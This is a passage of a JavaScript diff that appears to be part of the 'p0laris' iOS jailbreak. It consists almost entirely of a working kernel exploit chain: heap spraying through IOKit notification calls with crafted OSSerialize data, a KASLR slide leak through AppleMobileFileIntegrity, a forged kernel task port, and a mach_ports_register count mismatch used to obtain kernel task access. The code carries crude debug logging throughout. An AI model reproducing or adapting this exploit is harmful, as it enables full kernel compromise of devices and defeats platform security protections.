kOSSerializeDictionary = 0x01000000; +var kOSSerializeArray = 0x02000000; +var kOSSerializeSet = 0x03000000; +var kOSSerializeNumber = 0x04000000; +var kOSSerializeSymbol = 0x08000000; +var kOSSerializeString = 0x09000000; +var kOSSerializeData = 0x0a000000; +var kOSSerializeBoolean = 0x0b000000; +var kOSSerializeObject = 0x0c000000; + +var kOSSerializeTypeMask = 0x7F000000; +var kOSSerializeDataMask = 0x00FFFFFF; + +var kOSSerializeEndCollection = 0x80000000; + +var kOSSerializeMagic = 0x000000d3; + +var SIZEOF_BYTES_MSG = 384; + +var PORTS_NUM = 1024; +var PORTS_NUM_PRESPRAY = 100; +var MIG_MAX = 0x1000; + +function spray_data(mem, size, num, portptr) { + var err = shit_heap(4); + var ret = 0; + var master = shit_heap(4); + host_get_io_master(mach_host_self(), master); + var dict = shit_heap(MIG_MAX); + var __cnt = 0; + write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; + write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; + write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; + + for (var i = 0; i < num; i++) { + write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; + if (mem != 0 && size != 0) { + memcpy(dict + (__cnt << 2), mem, size); + } + memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); + __cnt += SIZEOF_BYTES_MSG / 4; + } + + p0laris_log("%x %x\n", master, read_u32(master)); + p0laris_log("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); + ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); + p0laris_log("still alive? %x %x\n", err, read_u32(err)); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + p0laris_log("still alive? %x %x\n", err, read_u32(err)); + + return ret; +} + +function copyinPort(kport, cnt) { + var err = shit_heap(4); + var ret = 0; + var self = task_self; + var service = MACH_PORT_NULL; + var client = shit_heap(4); + var it = shit_heap(4); + var o = MACH_PORT_NULL; + var data = shit_heap(4); + var master = shit_heap(4); + fakeportData = shit_heap(4); + var host_self = mach_host_self(); + host_get_io_master(mach_host_self(), master); + ret = spray_data(NULL, 0, 5, data); + p0laris_log("sprayed, still here\n"); + p0laris_log("spray_data=%d (%s)\n", ret, mach_error_string(ret)); + p0laris_log("sprayed, still here\n"); + +// p0laris_log("%x %x\n", master, read_u32(master)); + service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); + p0laris_log("service=%x\n", service); + + var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + p0laris_log("%x\n", tst); + var kpbuf = tst + 4; + for (var i = 0; i < cnt; i++) { + write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); + } + + var err = shit_heap(4); + var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"; + var xml = sptr(xmls); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); + p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); + IORegistryEntryGetChildIterator(service, "IOService", it); + + var found = false; + var o = IOIteratorNext(read_u32(it)); + + while (o != MACH_PORT_NULL && !found) { + var buf = shit_heap(16 * 4); + var size = shit_heap(4); + write_u32(size, 16 * 4); + ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); + p0laris_log("%d %s\n", ret, mach_error_string(ret)); + if (ret == KERN_SUCCESS) { + spray_data(tst, strlen(tst) + 1, 10, fakeportData); + kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; + p0laris_log("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); + found = true; + return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; + } + } + p0laris_log("didn't find it\n"); +} + +function prepare_ptr(dict, size, ptr, num) { + var idx = 0; + write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; + write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; + write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; + write_u32(dict + (idx << 2), 0x0079656b); idx++; + write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; + for (var i = 0; i < num; i++) { + write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; + write_u32(dict + (idx << 2), ptr); idx++; + write_u32(dict + (idx << 2), ptr); idx++; + } + + write_u32(size, idx * 4); + return KERN_SUCCESS; +} + +function spray(dict, size, port) { + var err = shit_heap(4); + var ret = 0; + var master = shit_heap(4); + + ret = host_get_io_master(mach_host_self(), master); +// p0laris_log("yahtzee3 %d (%s) %p\n", ret, mach_error_string(ret), read_u32(master)); +// scall("p0laris_log", "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", master, 0x41414141, "IOServiceTerminate", 0x41414141, dict, 0x41414141, size, 0x41414141, MACH_PORT_NULL, 0x41414141, NULL, 0x41414141, 0, 0x41414141, err, 0x41414141, port, 0x41414141); + ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); +// p0laris_log("yahtzee %d (%s)\n", ret, mach_error_string(ret)); + + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + +// p0laris_log("yahtzee2 %d (%s)\n", ret, mach_error_string(ret)); + + return ret; +} + +var kp = 0; +function spray_ports(number_port_descs) { + if (kp == 0) { + kp = shit_heap(4); + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); + mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); + } else if (read_u32(kp) == 0) { + kp = shit_heap(4); + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); + mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); + } + + var mp = shit_heap(4); + + var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); +// p0laris_log("mpa %d (%s)\n", ret_, mach_error_string(ret_)); + ret_ = mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); +// p0laris_log("mpir %d (%s)\n", ret_, mach_error_string(ret_)); + + ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + +// p0laris_log("sp %d (%s)\n", ret_, mach_error_string(ret_)); + + var ret = read_u32(mp); + shit_heap_free(mp); + return ret; +} + +function fast_log2(n) { + var i = 0; + while (n >>= 1) { + i++; + } + + return i; +} + +function fast_array_mul(arr, n) { + var up_to = fast_log2(n) + 1; + var tmp_arr = arr; + var done = 0; + for (var i = 0; i < up_to; i++) { + tmp_arr.push.apply(tmp_arr); + done = (1 << i); + } + + return tmp_arr; +} + +function send_ports(target, payload, num, number_port_descs) { + var init_port_set = shit_heap(num * 4); + + for (var i = 0; i < num; i++) { + write_u32(init_port_set + (i << 2), payload); + } + + // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8)); + +// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); + +// var buf = new Uint32Array((0x1c + (3 * number_port_descs); + +// write_u32(number_port_descs); + + large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs; + + var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); + + for (var i = 0; i < number_port_descs; i++) { + var tmp2 = (i * 3) + (req_init_port_set >>> 2); + large_buf[tmp2 + 0] = (init_port_set); + large_buf[tmp2 + 1] = (num); + large_buf[tmp2 + 2] = tmp; + } + + large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) + large_buf[req_head_msgh_request_port >>> 2] = target; + large_buf[req_head_msgh_reply_port >>> 2] = 0; + large_buf[req_head_msgh_id >>> 2] = 1337; + +// p0laris_log("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); + + var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); + + return ret; +} + +function release_port_ptrs(port) { +// var req = shit_heap(0x1c + (5 * 0xc) + 0x8); + var req = shit_heap(0x1c + (5 * 0xc) + 0x8); +// p0laris_log("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); + var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if (ret != KERN_SUCCESS) { + p0laris_log("mach_recv %d %s\n", ret, mach_error_string(ret)); + } + shit_heap_free(req); +} + +function r3gister(task, init_port_set, real_count, fake_count) { + var mess = shit_heap(0x1000); + var InP = mess; + var OutP = mess; + + /* + InP->msgh_body.msgh_descriptor_count = 1; + InP->init_port_set.address = (void*)(init_port_set); + InP->init_port_set.count = real_count; + InP->init_port_set.disposition = 19; + InP->init_port_set.deallocate = FALSE; + InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + InP->NDR = NDR_record; + InP->init_port_setCnt = fake_count; // was real_count + InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); + InP->Head.msgh_remote_port = task; + InP->Head.msgh_local_port = mig_get_local_port(); + InP->Head.msgh_id = 3403; + InP->msgh_body.msgh_descriptor_count 0x18 0x4 + InP->init_port_set.address 0x1c 0x4 + InP->init_port_set.count 0x20 0x4 + InP->init_port_set 0x1c + InP->NDR 0x28 0x8 + InP->init_port_setCnt 0x30 0x4 + InP->Head.msgh_bits 0x0 0x4 + InP->Head.msgh_remote_port 0x8 0x4 + InP->Head.msgh_local_port 0xc 0x4 + InP->Head.msgh_id 0x14 0x4 +0x00000003 +0x00000034 0x0000002c +0x00000024 +50 +78 +0x0 0x1057ec + */ + + write_u32(InP + 0x18, 1); + write_u32(InP + 0x1c, init_port_set); + write_u32(InP + 0x20, real_count); + write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24))); + write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0)); + write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4)); + write_u32(InP + 0x30, fake_count); + write_u32(InP + 0x0, 0x80001513); + write_u32(InP + 0x8, task); + write_u32(InP + 0xc, mig_get_reply_port()); + write_u32(InP + 0x14, 3403); + + var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if (ret == KERN_SUCCESS) { + ret = read_u32(OutP + 0x24); + } + return ret; +} + +function mach_ports_lookup_shit() { + p0laris_log("fuck\n"); + var arrz = shit_heap(4); + p0laris_log("fuck\n"); + write_u32(arrz, 0); + p0laris_log("fuck\n"); + var sz = shit_heap(4);; + p0laris_log("fuck\n"); + write_u32(sz, 3); + p0laris_log("fuck\n"); +// var mts = mach_task_self(); + p0laris_log("fuck\n"); + calls4arg("mach_ports_lookup", task_self, arrz, sz, 0); + puts("helo"); + p0laris_log("mpl success\n"); + scall("p0laris_log", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); + p0laris_log("mpl success\n"); + + return read_u32(read_u32(arrz) + 8); +// return 0x42603; +} + +var kernel_task_addr = 0; +function get_kernel_task() { + var ret = 0; + var tfp0 = 0; + + /* + p0laris_log("fuck\n"); + var arrz = shit_heap(4); + p0laris_log("fuck\n"); + write_u32(arrz, 0); + p0laris_log("fuck\n"); + var sz = shit_heap(4);; + p0laris_log("fuck\n"); + write_u32(sz, 3); + p0laris_log("fuck\n"); + var mts = mach_task_self(); + p0laris_log("fuck\n"); + mach_ports_lookup(mts, arrz, sz); + p0laris_log("mpl success\n"); + return; +*/ + + sanity_port = shit_heap(4); + + task_self = mach_task_self(); + + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); + mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); + limits = shit_heap(4); + write_u32(limits, 1000); + mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); + + p0laris_log("starting exploit\n"); + + var data = shit_heap(16); + var kport = shit_heap(kport_size * 2); + var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something + write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK + write_u32(kport + kport_ip_references4, 100); + write_u32(kport + kport_ip_lock_type4, 0x11); + write_u16(kport + kport_ip_messages_port_qlimit2, 777); + write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy + write_u32(kport + kport_ip_srights4, 99); + + var big_buf = shit_heap(MIG_MAX); + var small_buf = shit_heap(MIG_MAX); + + var big_size = shit_heap(4); + var small_size = shit_heap(4); + + var fp = shit_heap(PORTS_NUM * 4); + var postSpray = shit_heap(4); + + usleep(10000); + sched_yield(); + var kptr = copyinPort(kport, 2); + + p0laris_log("0x%08x\n", kptr); + write_u32(data, kptr); + write_u32(data + 4, kptr); + + prepare_ptr(big_buf, big_size, kptr, 256); + prepare_ptr(small_buf, small_size, kptr, 32); + +again: while (true) { + + sched_yield(); + var dummy = shit_heap(4); + for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { + var dummy = shit_heap(4); + spray(big_buf, read_u32(big_size), dummy); + } + + sched_yield(); + var dummy = shit_heap(4); + for (var i = 0; i < PORTS_NUM; i++) { +// for (var i = 0; i < 8; i++) { + var dummy = shit_heap(4); + if (i % 4 == 0) { + p0laris_log("spray_ports %d\n", i); + } + write_u32(fp + (i << 2), spray_ports(1)); + spray(small_buf, read_u32(small_size), dummy); + } + + sched_yield(); + for (var i = 0; i < PORTS_NUM; i++) { +// for (var i = 0; i < 8; i++) { + release_port_ptrs(read_u32(fp + (i << 2))); + } + +// return; + + + var arrz = shit_heap(16); + write_u32(arrz, 0); + write_u32(arrz + 4, 0); + write_u32(arrz + 8, 0); + write_u32(arrz + 12, 0); + var sz = shit_heap(4); + write_u32(sz, 3); +// mach_ports_lookup_shit_dealloc(); + var ret__ = r3gister(mach_task_self(), arrz, 2, 3); + mach_ports_lookup(mach_task_self(), arrz, sz); + scall("p0laris_log", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); + p0laris_log("mpl success\n"); + + var fake_port = read_u32(read_u32(arrz) + 8); + p0laris_log("%d %s\n", ret__, mach_error_string(ret__)); + p0laris_log("r3gister done\n"); +// while (true) { + // +// } + p0laris_log("fuck\n"); +// var fake_port = read_u32(read_u32(arrz) + 8); + + /* + * BEGIN JANK FUCKING HACK + */ +// var fake_port = mach_ports_lookup_shit(); + p0laris_log("fuck\n"); + p0laris_log("%x\n", fake_port); + p0laris_log("fuck\n"); + // todo: add mach_port_valid stuff + p0laris_log("fuck\n"); + + p0laris_log("fuck\n"); + for (var i = 0; i < 0x78; i += 4) { + write_u32(kport + i, 0x41410000 | i); + } + for (var i = 0; i < 0x78; i += 4) { + write_u32(kport + i + 0x78, 0x41420000 | i); + } +// write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET); + p0laris_log("fuck\n"); +// write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET); + p0laris_log("fuck\n"); + var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0"; + p0laris_log("fuck\n"); + var tst = _sptr(tst_str); + p0laris_log("fuck\n"); + var kpbuf = tst + 4; + p0laris_log("fuck\n"); + + p0laris_log("fuck\n"); + for (var i = 0; i < 2; i++) { + p0laris_log("fuck\n"); + write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78); + } + p0laris_log("fuck\n"); + usleep(10000); + sched_yield(); + mach_port_destroy(mach_task_self(), read_u32(fakeportData)); + ret__ = spray_data(tst, tst_str.length, 10, fakeportData); + p0laris_log("sd %d (%s)\n", ret__, mach_error_string(ret__)); + p0laris_log("fuck\n"); + p0laris_log("done realloc"); + p0laris_log("fuck\n"); + + p0laris_log("fuck\n"); + var kernel_task_addr = shit_heap(4); + p0laris_log("fuck\n"); + scall("p0laris_log", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); + ret__ = pid_for_task(fake_port, kernel_task_addr); + p0laris_log("%d %s\n", ret__, mach_error_string(ret__)); + p0laris_log("fuck\n"); + p0laris_log("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n"); + p0laris_log("fuck\n"); + call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0); + if (kernel_task_addr === 0xffffffff) { + continue again; + } + scall("p0laris_log", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); + p0laris_log("fuck\n"); + + p0laris_log("get lucky\n"); + + return tfp0; + } +} |